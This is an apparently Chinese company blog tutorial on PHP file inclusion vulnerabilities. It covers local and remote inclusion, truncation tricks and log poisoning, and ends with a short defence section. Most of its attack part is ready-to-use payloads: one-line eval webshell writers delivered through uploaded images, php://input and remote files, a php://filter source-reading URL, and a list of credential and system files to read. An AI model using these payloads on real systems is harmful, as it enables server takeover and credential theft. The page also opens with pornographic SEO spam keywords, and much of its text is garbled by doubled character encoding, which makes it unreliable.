自拍亚洲一区欧美另类,亚洲成人影院,亚洲午夜久久久久妓女影院,最近中文字幕高清中文字幕无,亚洲熟妇av一区二区三区漫画

互聯(lián)網(wǎng)知識(shí)

精準(zhǔn)傳達(dá) ? 價(jià)值共享

洞悉互聯(lián)網(wǎng)前沿資訊,探尋網(wǎng)站營(yíng)銷規(guī)律

文件包含漏洞

作者:狐靈科技 | 2021-12-06 22:33 |點(diǎn)擊:

文件包含

 


	
程序開(kāi)發(fā)人員一般會(huì)把重復(fù)使用的函數(shù)寫(xiě)到單個(gè)文件中,需要使用某個(gè)函數(shù)時(shí)直接調(diào)用此文件, 而無(wú)需再次編寫(xiě),這中文件調(diào)用的過(guò)程一般被稱為文件包含。 程序開(kāi)發(fā)人員一般希望代碼更靈活,所以將被包含的文件設(shè)置為變量,用來(lái)進(jìn)行動(dòng)態(tài)調(diào)用, 但正是由于這種靈活性,從而導(dǎo)致客戶端可以調(diào)用一個(gè)惡意文件,造成文件包含漏洞。 幾乎所有腳本語(yǔ)言都會(huì)提供文件包含的功能,但文件包含漏洞在PHP Web Application中居多, 而在JSPASP、ASP.NET程序中卻非常少,甚至沒(méi)有,這是有些語(yǔ)言設(shè)計(jì)的弊端。 在PHP中經(jīng)常出現(xiàn)包含漏洞,但這并不意味這其他語(yǔ)言不存在。
 
 

1|0常見(jiàn)文件包含函數(shù)

 


	
include():執(zhí)行到include時(shí)才包含文件,找不到被包含文件時(shí)只會(huì)產(chǎn)生警告,腳本將繼續(xù)執(zhí)行 require():只要程序一運(yùn)行就包含文件,找不到被包含的文件時(shí)會(huì)產(chǎn)生致命錯(cuò)誤,并停止腳本 include_once()和require_once():若文件中代碼已被包含則不會(huì)再次包含
 
 

 

2|0利用條件


	
* 程序用include()等文件包含函數(shù)通過(guò)動(dòng)態(tài)變量的范式引入需要包含的文件 * 用戶能夠控制該動(dòng)態(tài)變量 注:PHP中只要文件內(nèi)容符合PHP語(yǔ)法規(guī)范,包含時(shí)不管擴(kuò)展名是什么都會(huì)被PHP解析, 若文件內(nèi)容不符合PHP語(yǔ)法規(guī)范則會(huì)暴漏其源碼。

3|0漏洞危害


	
執(zhí)行任意代碼 包含惡意文件控制網(wǎng)站 甚至控制服務(wù)器

4|0漏洞分類


	
本地文件包含: 可以包含本地文件,在條件允許時(shí)甚至能執(zhí)行代碼 上傳圖片馬,然后包含 讀敏感文件,讀PHP文件 包含日志文件GetShell 包含/proc/self/envion文件GetShell 包含data:或php://input等偽協(xié)議 若有phpinfo則可以包含臨時(shí)文件 遠(yuǎn)程文件包含: 可以直接執(zhí)行任意代碼 要保證php.ini中allow_url_fopen和allow_url_include要為On * 白盒就代碼審計(jì) * 至于黑盒的話找cms或者上AWVS吧,騷年...
 
 

5|0本地包含

  • 示例一

	
<?php if(@$_GET['page']) { include($_GET['page']); } else { include "show.php"; } ?>

 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

  • 示例二

	
<?php if (@$_GET['page']) { include("./action/".$_GET['page']); } else { include "./action/show.php"; } ?>

 

 

  • %00截?cái)喟?PHP<5.3.4)

		
<?php if (@$_GET['page']) { include "./action/".$_GET['page'].".php"; echo "./action/".$_GET['page'].".php"; } else { include "./action/show.php"; } ?>

 

 

還有一個(gè)路徑長(zhǎng)度截?cái)啵?/span>
Linux可以用./或/截?cái)?,需要文件名長(zhǎng)度大于4096,
Windows可以用\.或./或\或/截?cái)?,需要大?56,
是否能成功截?cái)嘤卸喾矫嬖?,可以說(shuō)是靠運(yùn)氣的

  • 示例四
上傳圖片馬,馬包含的代碼為

		
<?php fputs(fopen("shell.php","w"),"<?php eval($_POST[xxser]);?>")?>
 
 
上傳后圖片路徑為 /uploadfile/201643.jpg
這時(shí)候需要利用文件解析漏洞,當(dāng)訪問(wèn)

		
http://localhost/dvwa/vulnerabilities/fi/?page=../../uploadfile/201643.jpg/.php
 
 
將會(huì)在fi這個(gè)文件夾下生成shell.php,內(nèi)容為<?php eval($_POST[xxser]);?>
  • 讀敏感文件

			
可讀如下敏感文件: WindowsC:\boot.ini //查看系統(tǒng)版本 C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件 C:\Windows\repair\sam //存儲(chǔ)系統(tǒng)初次安裝的密碼 C:\Program Files\mysql\my.ini //Mysql配置 C:\Program Files\mysql\data\mysql\user.MYD //Mysql root C:\Windows\php.ini //php配置信息 C:\Windows\my.ini //Mysql配置信息 ... Linux: /root/.ssh/authorized_keys /root/.ssh/id_rsa /root/.ssh/id_ras.keystore /root/.ssh/known_hosts /etc/passwd /etc/shadow /etc/my.cnf /etc/httpd/conf/httpd.conf /root/.bash_history /root/.mysql_history /proc/self/fd/fd[0-9]*(文件標(biāo)識(shí)符) /proc/mounts /porc/config.gz
 
 
  • 讀PHP文件

		
直接包含php文件時(shí)會(huì)被解析,不能看到源碼,可以用封裝協(xié)議讀?。??page=php://filter/read=convert.base64-encode/resource=config.php 訪問(wèn)上述URL后會(huì)返回config.php中經(jīng)過(guò)Base64加密后的字符串,解密即可得到源碼
  • 包含日志(主要是得到日志的路徑)

		
讀日志路徑: 文件包含漏洞讀取apache配置文件 index.php?page=/etc/init.d/httpd index.php?page=/etc/httpd/conf/httpd.conf 默認(rèn)位置/var/log/httpd/access_log 日志會(huì)記錄客戶端請(qǐng)求及服務(wù)器響應(yīng)的信息,訪問(wèn) http://www.xx.com/<?php phpinfo(); ?> 時(shí),<?php phpinfo(); ?>也會(huì)被記錄在日志里,也可以插入到User-Agent
 
 

 

 

 
可以通過(guò)Burp Suite來(lái)繞過(guò)編碼

 

 
 
日志內(nèi)容如下:
 
 
  • 包含環(huán)境變量文件GetShell

	
需要PHP運(yùn)行在CGI模式 然后和包含日志一樣,在User-Agent修改為payload
 
 
  • 使用PHP封裝協(xié)議

	
allow_url_include=On時(shí), 若執(zhí)行http://www.xxx.com/index.php?page=php://input, 并且提交數(shù)據(jù) <?php fputs(fopen("shell.php","w"),"<?php eval($_POST['xxxser']);?>") ?> 結(jié)果將在index.php所在文件下生成一句話文件shell.php
 

 

 
  • phpinfo包含臨時(shí)文件

		
向phpinfo上傳文件則可以返回文件路徑,但是文件存在時(shí)間很短, 可以用程序持續(xù)上傳,然后就可以包含你上傳的文件了

6|0遠(yuǎn)程包含

注:遠(yuǎn)程的文件名不能為php可解析的擴(kuò)展名,allow_url_fopen和allow_url_include為On是必須的
若在a.txt寫(xiě)入 <?php fputs(fopen("shell.php","w"),"<?php @eval($_POST[xxx]); ?>") ?>,可直接寫(xiě)shell

7|0漏洞防御

 


	
PHP中使用open_basedir配置,將訪問(wèn)限制在指定區(qū)域 過(guò)濾./\ 禁止服務(wù)器遠(yuǎn)程文件包含

 

如沒(méi)特殊注明,文章均為狐靈科技原創(chuàng),轉(zhuǎn)載請(qǐng)注明?? "文件包含漏洞
多一份免費(fèi)策劃方案,總有益處。

請(qǐng)直接添加技術(shù)總監(jiān)微信聯(lián)系咨詢

網(wǎng)站設(shè)計(jì) 品牌營(yíng)銷

多一份參考,總有益處

聯(lián)系狐靈科技,免費(fèi)獲得專屬《策劃方案》及報(bào)價(jià)

咨詢相關(guān)問(wèn)題或預(yù)約面談,可以通過(guò)以下方式與我們聯(lián)系

業(yè)務(wù)熱線:15082661954 / 大客戶專線:15523356218